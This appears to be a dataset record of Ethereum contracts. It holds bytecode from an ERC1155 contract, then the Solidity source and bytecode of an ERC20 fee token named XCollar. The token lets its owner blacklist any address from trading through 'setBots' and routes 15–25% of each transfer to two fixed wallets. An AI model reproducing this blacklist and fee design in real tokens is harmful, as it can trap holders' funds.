6001600160a01b038116610ffe5760405133904780156108fc02916000818181858888f19350505050158015610ff8573d6000803e3d6000fd5b506110f5565b604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b15801561104857600080fd5b505afa15801561105c573d6000803e3d6000fd5b505050506040513d602081101561107257600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0384169163a9059cbb916044808201926020929091908290030181600087803b1580156110c757600080fd5b505af11580156110db573d6000803e3d6000fd5b505050506040513d60208110156110f157600080fd5b5050505b50565b600b805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561117e5780601f106111535761010080835404028352916020019161117e565b820191906000526020600020905b81548152906001019060200180831161116157829003601f168201915b505050505081565b6060611190613885565b50604080516060810182526001600160a01b038816600081815260086020908152908490205483528201529081018690526111ce8782878787612589565b6112095760405162461bcd60e51b8152600401808060200182810382526021815260200180613b686021913960400191505060405180910390fd5b6001600160a01b03871660009081526008602052604090205461123390600163ffffffff61266616565b6001600160a01b03881660008181526008602090815260408083209490945583519283523383820181905260609484018581528b51958501959095528a517f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b958d9592948d94919260808501928601918190849084905b838110156112c25781810151838201526020016112aa565b50505050905090810190601f1680156112ef5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a160006060306001600160a01b0316888a6040516020018083805190602001908083835b602083106113405780518252601f199092019160209182019101611321565b6001836020036101000a038019825116818451168082178552505050505050905001826001600160a01b03166001600160a01b031660601b8152601401925050506040516020818303038152906040526040518082805190602001908083835b602083106113bf5780518252601f1990920191602091820191016113a0565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611421576040519150601f19603f3d011682016040523d82523d6000602084013e611426565b606091505b50915091508161147d576040805162461bcd60e51b815260206004820152601c60248201527f46756e6374696f6e2063616c6c206e6f74207375636365737366756c00000000604482015290519081900360640190fd5b98975050505050505050565b60606003611496836126c0565b60405160200180838054600181600116156101000203166002900480156114f45780601f106114d25761010080835404028352918201916114f4565b820191906000526020600020905b8154815290600101906020018083116114e0575b5050825160208401908083835b602083106115205780518252601f199092019160209182019101611501565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040529050919050565b600d546001600160a01b031633146115af576040805162461bcd60e51b81526020600482015260116024820152703cb7ba9030b932903737ba1030b236b4b760791b604482015290519081900360640190fd5b60408051627eeac760e11b81523060048201526024810183905290516000916001600160a01b0385169162fdd58e91604480820192602092909190829003018186803b1580156115fe57600080fd5b505afa158015611612573d6000803e3d6000fd5b505050506040513d602081101561162857600080fd5b505160408051637921219560e11b8152306004820152336024820152604481018590526064810183905260a06084820152600060a4820181905291519293506001600160a01b0386169263f242432a9260e48084019391929182900301818387803b15801561169657600080fd5b505af11580156116aa573d6000803e3d6000fd5b50505050505050565b604051806040016040528060018152602001603160f81b81525081565b604080516d5052454449434154455f524f4c4560901b8152905190819003600e019020611704816116ff61279a565b612008565b6005906117a45760405162461bcd60e51b81526020600482019081528254600260001961010060018416150201909116046024830181905290918291604490910190849080156117955780601f1061176a57610100808354040283529160200191611795565b820191906000526020600020905b81548152906001019060200180831161177857829003601f168201915b50509250505060405180910390fd5b506118478888888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604080516020808c0282810182019093528b82529093508b92508a91829185019084908082843760009201919091525050604080516020601f8b0181900481028201810190925289815292508991508890819084018382808284376000920191909152506127a992505050565b5050505050505050565b60075490565b60009081526004602052604090206002015490565b6001600160a01b031660009081526008602052604090205490565b81518351146118c75760405162461bcd60e51b8152600401808060200182810382526028815260200180613bdb6028913960400191505060405180910390fd5b6001600160a01b03841661190c5760405162461bcd60e51b8152600401808060200182810382526025815260200180613ac46025913960400191505060405180910390fd5b61191461279a565b6001600160a01b0316856001600160a01b0316148061193f575061193f8561193a61279a565b61220b565b61197a5760405162461bcd60e51b8152600401808060200182810382526032815260200180613ae96032913960400191505060405180910390fd5b600061198461279a565b9050611994818787878787611b7d565b60005b8451811015611a955760008582815181106119ae57fe5b6020026020010151905060008583815181106119c657fe5b60200260200101519050611a33816040518060600160405280602a8152602001613b3e602a91396001600086815260200190815260200160002060008d6001600160a01b03166001600160a01b03168152602001908152602001600020546129fe9092919063ffffffff16565b60008381526001602090815260408083206001600160a01b038e811685529252808320939093558a1681522054611a6a9082612666565b60009283526001602081815260408086206001600160a01b038d168752909152909320555001611997565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015611b1b578181015183820152602001611b03565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015611b5a578181015183820152602001611b42565b5050505090500194505050505060405180910390a4611b7d818787878787612a95565b505050505050565b600082815260046020526040902060020154611ba3906116ff61279a565b611bde5760405162461bcd60e51b815260040180806020018281038252602f81526020018061392e602f913960400191505060405180910390fd5b611be88282612dca565b5050565b4690565b611bf861279a565b6001600160a01b0316816001600160a01b031614611c475760405162461bcd60e51b815260040180806020018281038252602f815260200180613c24602f913960400191505060405180910390fd5b611be88282612e39565b60608151835114611c935760405162461bcd60e51b8152600401808060200182810382526029815260200180613bb26029913960400191505060405180910390fd5b6060835167ffffffffffffffff81118015611cad57600080fd5b50604051908082528060200260200182016040528015611cd7578160200160208202803683370190505b50905060005b8451811015611dc75760006001600160a01b0316858281518110611cfd57fe5b60200260200101516001600160a01b03161415611d4b5760405162461bcd60e51b81526004018080602001828103825260318152602001806139886031913960400191505060405180910390fd5b60016000858381518110611d5b57fe5b602002602001015181526020019081526020016000206000868381518110611d7f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611db457fe5b6020908102919091010152600101611cdd565b509392505050565b611dd761279a565b6001600160a01b0316836001600160a01b03161480611dfd5750611dfd8361193a61279a565b611e385760405162461bcd60e51b8152600401808060200182810382526029815260200180613a466029913960400191505060405180910390fd5b611e43838383612ea8565b505050565b611e5061279a565b6009546001600160a01b03908116911614611eb2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6009546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600980546001600160a01b0319169055565b604080516d5052454449434154455f524f4c4560901b8152905190819003600e019020611f2b816116ff61279a565b600590611f915760405162461bcd60e51b81526020600482019081528254600260001961010060018416150201909116046024830181905290918291604490910190849080156117955780601f1061176a57610100808354040283529160200191611795565b50611b7d86868686868080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061311692505050565b6009546001600160a01b031690565b6000828152600460205260408120612001908363ffffffff61321d16565b9392505050565b6000828152600460205260408120612001908363ffffffff61322916565b600c805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561117e5780601f106111535761010080835404028352916020019161117e565b600081565b816001600160a01b031661209861279a565b6001600160a01b031614156120de5760405162461bcd60e51b8152600401808060200182810382526029815260200180613b896029913960400191505060405180910390fd5b80600260006120eb61279a565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff19169215159290921790915561212f61279a565b60408051841515815290516001600160a01b0392909216917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c319181900360200190a35050565b6000818152600460205260408120610f429061323e565b6000828152600460205260409020600201546121aa906116ff61279a565b611c475760405162461bcd60e51b8152600401808060200182810382526030815260200180613a6f6030913960400191505060405180910390fd5b604080516d5052454449434154455f524f4c4560901b8152905190819003600e01902081565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205460ff1690565b6001600160a01b03841661227e5760405162461bcd60e51b8152600401808060200182810382526025815260200180613ac46025913960400191505060405180910390fd5b61228661279a565b6001600160a01b0316856001600160a01b031614806122ac57506122ac8561193a61279a565b6122e75760405162461bcd60e51b8152600401808060200182810382526029815260200180613a466029913960400191505060405180910390fd5b60006122f161279a565b905061231181878761230288613249565b61230b88613249565b87611b7d565b61235e836040518060600160405280602a8152602001613b3e602a913960008781526001602090815260408083206001600160a01b038d168452909152902054919063ffffffff6129fe16565b60008581526001602090815260408083206001600160a01b038b811685529252808320939093558716815220546123959084612666565b60008581526001602090815260408083206001600160a01b03808b168086529184529382902094909455805188815291820187905280518a8416938616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a4611b7d81878787878761328d565b61241261279a565b6009546001600160a01b03908116911614612474576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166124b95760405162461bcd60e51b81526004018080602001828103825260268152602001806139fc6026913960400191505060405180910390fd5b6009546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b61251d61279a565b6001600160a01b0316836001600160a01b0316148061254357506125438361193a61279a565b61257e5760405162461bcd60e51b8152600401808060200182810382526029815260200180613a466029913960400191505060405180910390fd5b611e43838383613420565b60006001600160a01b0386166125d05760405162461bcd60e51b8152600401808060200182810382526025815260200180613a9f6025913960400191505060405180910390fd5b60016125e36125de87613559565b6135e5565b83868660405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa15801561263d573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614905095945050505050565b600082820183811015612001576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6060816126e557506040805180820190915260018152600360fc1b6020820152610f66565b818060005b82156126fe57600101600a830492506126ea565b60608167ffffffffffffffff8111801561271757600080fd5b506040519080825280601f01601f191660200182016040528015612742576020820181803683370190505b50905060001982015b831561279057600a840660300160f81b8282806001900393508151811061276e57fe5b60200101906001600160f81b031916908160001a905350600a8404935061274b565b5095945050505050565b60006127a4613631565b905090565b6001600160a01b0384166127ee5760405162461bcd60e51b8152600401808060200182810382526021815260200180613c036021913960400191505060405180910390fd5b815183511461282e5760405162461bcd60e51b8152600401808060200182810382526028815260200180613bdb6028913960400191505060405180910390fd5b600061283861279a565b905061284981600087878787611b7d565b60005b845181101561290d576128c46001600087848151811061286857fe5b602002602001015181526020019081526020016000206000886001600160a01b03166001600160a01b03168152602001908152602001600020548583815181106128ae57fe5b602002602001015161266690919063ffffffff16565b600160008784815181106128d457fe5b602090810291909101810151825281810192909252604090810160009081206001600160a01b038b16825290925290205560010161284c565b50846001600160a01b031660006001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561299457818101518382015260200161297c565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156129d35781810151838201526020016129bb565b5050505090500194505050505060405180910390a46129f781600087878787612a95565b5050505050565b60008184841115612a8d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a52578181015183820152602001612a3a565b50505050905090810190601f168015612a7f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b612aa7846001600160a01b031661368f565b15611b7d57836001600160a01b031663bc197c8187878686866040518663ffffffff1660e01b815260040180866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015612b47578181015183820152602001612b2f565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015612b86578181015183820152602001612b6e565b50505050905001848103825285818151815260200191508051906020019080838360005b83811015612bc2578181015183820152602001612baa565b50505050905090810190601f168015612bef5780820380516001836020036101000a031916815260200191505b5098505050505050505050602060405180830381600087803b158015612c1457600080fd5b505af1925050508015612c3957506040513d6020811015612c3457600080fd5b505160015b612d7b576040516000815260443d1015612c5557506000612cf2565b60046000803e60005160e01c6308c379a08114612c76576000915050612cf2565b60043d036004833e81513d602482011167ffffffffffffffff82111715612ca257600092505050612cf2565b808301805167ffffffffffffffff811115612cc4576000945050505050612cf2565b8060208301013d8601811115612ce257600095505050505050612cf2565b601f01601f191660405250925050505b80612cfd5750612d44565b60405162461bcd60e51b8152602060048201818152835160248401528351849391928392604401919085019080838360008315612a52578181015183820152602001612a3a565b60405162461bcd60e51b81526004018080602001828103825260348152602001806138b06034913960400191505060405180910390fd5b6001600160e01b0319811663bc197c8160e01b146116aa5760405162461bcd60e51b81526004018080602001828103825260288152602001806139066028913960400191505060405180910390fd5b6000828152600460205260409020612de8908263ffffffff6136cb16565b15611be857612df561279a565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152600460205260409020612e57908263ffffffff6136e016565b15611be857612e6461279a565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b6001600160a01b038316612eed5760405162461bcd60e51b8152600401808060200182810382526023815260200180613b1b6023913960400191505060405180910390fd5b8051825114612f2d5760405162461bcd60e51b8152600401808060200182810382526028815260200180613bdb6028913960400191505060405180910390fd5b6000612f3761279a565b9050612f5781856000868660405180602001604052806000815250611b7d565b60005b835181101561303557612fec838281518110612f7257fe5b6020026020010151604051806060016040528060248152602001613a226024913960016000888681518110612fa357fe5b602002602001015181526020019081526020016000206000896001600160a01b03166001600160a01b03168152602001908152602001600020546129fe9092919063ffffffff16565b60016000868481518110612ffc57fe5b602090810291909101810151825281810192909252604090810160009081206001600160a01b038a168252909252902055600101612f5a565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156130bc5781810151838201526020016130a4565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156130fb5781810151838201526020016130e3565b5050505090500194505050505060405180910390a450505050565b6001600160a01b03841661315b5760405162461bcd60e51b8152600401808060200182810382526021815260200180613c036021913960400191505060405180910390fd5b600061316561279a565b90506131778160008761230288613249565b60008481526001602090815260408083206001600160a01b03891684529091529020546131aa908463ffffffff61266616565b60008581526001602090815260408083206001600160a01b03808b16808652918452828520959095558151898152928301889052815190948616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a46129f78160008787878761328d565b600061200183836136f5565b6000612001836001600160a01b038416613759565b6000610f4282613771565b60408051600180825281830190925260609182919060208083019080368337019050509050828160008151811061327c57fe5b602090810291909101015292915050565b61329f846001600160a01b031661368f565b15611b7d57836001600160a01b031663f23a6e6187878686866040518663ffffffff1660e01b815260040180866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015613340578181015183820152602001613328565b50505050905090810190601f16801561336d5780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b15801561339057600080fd5b505af19250505080156133b557506040513d60208110156133b057600080fd5b505160015b6133d1576040516000815260443d1015612c5557506000612cf2565b6001600160e01b0319811663f23a6e6160e01b146116aa5760405162461bcd60e51b81526004018080602001828103825260288152602001806139066028913960400191505060405180910390fd5b6001600160a01b0383166134655760405162461bcd60e51b8152600401808060200182810382526023815260200180613b1b6023913960400191505060405180910390fd5b600061346f61279a565b905061349f8185600061348187613249565b61348a87613249565b60405180602001604052806000815250611b7d565b6134ec82604051806060016040528060248152602001613a226024913960008681526001602090815260408083206001600160a01b038b168452909152902054919063ffffffff6129fe16565b60008481526001602090815260408083206001600160a01b03808a16808652918452828520959095558151888152928301879052815193949093908616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a450505050565b60006040518060800160405280604381526020016139b960439139805190602001208260000151836020015184604001518051906020012060405160200180858152602001848152602001836001600160a01b03166001600160a01b03168152602001828152602001945050505050604051602081830303815290604052805190602001209050919050565b60006135ef611851565b82604051602001808061190160f01b81525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050919050565b6000333014156136895760606000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050503601516001600160a01b0316915061368c9050565b50335b90565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906136c357508115155b949350505050565b6000612001836001600160a01b038416613775565b6000612001836001600160a01b0384166137bf565b815460009082106137375760405162461bcd60e51b81526004018080602001828103825260228152602001806138e46022913960400191505060405180910390fd5b82600001828154811061374657fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b60006137818383613759565b6137b757508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f42565b506000610f42565b6000818152600183016020526040812054801561387b57835460001980830191908101906000908790839081106137f257fe5b906000526020600020015490508087600001848154811061380f57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061383f57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f42565b6000915050610f42565b60405180606001604052806000815260200160006001600160a01b0316815260200160608152509056fe455243313135353a207472616e7366657220746f206e6f6e2045524331313535526563656976657220696d706c656d656e746572456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473455243313135353a204552433131353552656365697665722072656a656374656420746f6b656e73416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e74455243313135353a2062616c616e636520717565727920666f7220746865207a65726f2061646472657373455243313135353a2062617463682062616c616e636520717565727920666f7220746865207a65726f20616464726573734d6574615472616e73616374696f6e2875696e74323536206e6f6e63652c616464726573732066726f6d2c62797465732066756e6374696f6e5369676e6174757265294f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373455243313135353a206275726e20616d6f756e7420657863656564732062616c616e6365455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b654e61746976654d6574615472616e73616374696f6e3a20494e56414c49445f5349474e4552455243313135353a207472616e7366657220746f20746865207a65726f2061646472657373455243313135353a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564455243313135353a206275726e2066726f6d20746865207a65726f2061646472657373455243313135353a20696e73756666696369656e742062616c616e636520666f72207472616e736665725369676e657220616e64207369676e617475726520646f206e6f74206d61746368455243313135353a2073657474696e6720617070726f76616c2073746174757320666f722073656c66455243313135353a206163636f756e747320616e6420696473206c656e677468206d69736d61746368455243313135353a2069647320616e6420616d6f756e7473206c656e677468206d69736d61746368455243313135353a206d696e7420746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a26469706673582212201cdb7a8a9be6d68cb7418ab5727b12a3d01cf775427b027dcaa01e636b46f91064736f6c63430006060033
[ 16, 5, 12 ]
0xf37eb16714bba4fd2372c78ae262f306c676d949
/** /* Every leash needs a collar */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract XCollar is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "XCollar"; string private constant _symbol = "XCollar"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xe07E1B453655bC62C55E537b9BC18998c37cFb6a); _feeAddrWallet2 = payable(0x85E63e6b6c8A41cf7f96eB1A9E722d63De73A249); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612aea565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061267c565b61042a565b60405161016d9190612acf565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c4c565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061262d565b61045c565b6040516101d59190612acf565b60405180910390f35b3480156101ea57600080fd5b506102056004803603810190610200919061259f565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612cc1565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126f9565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b5061029960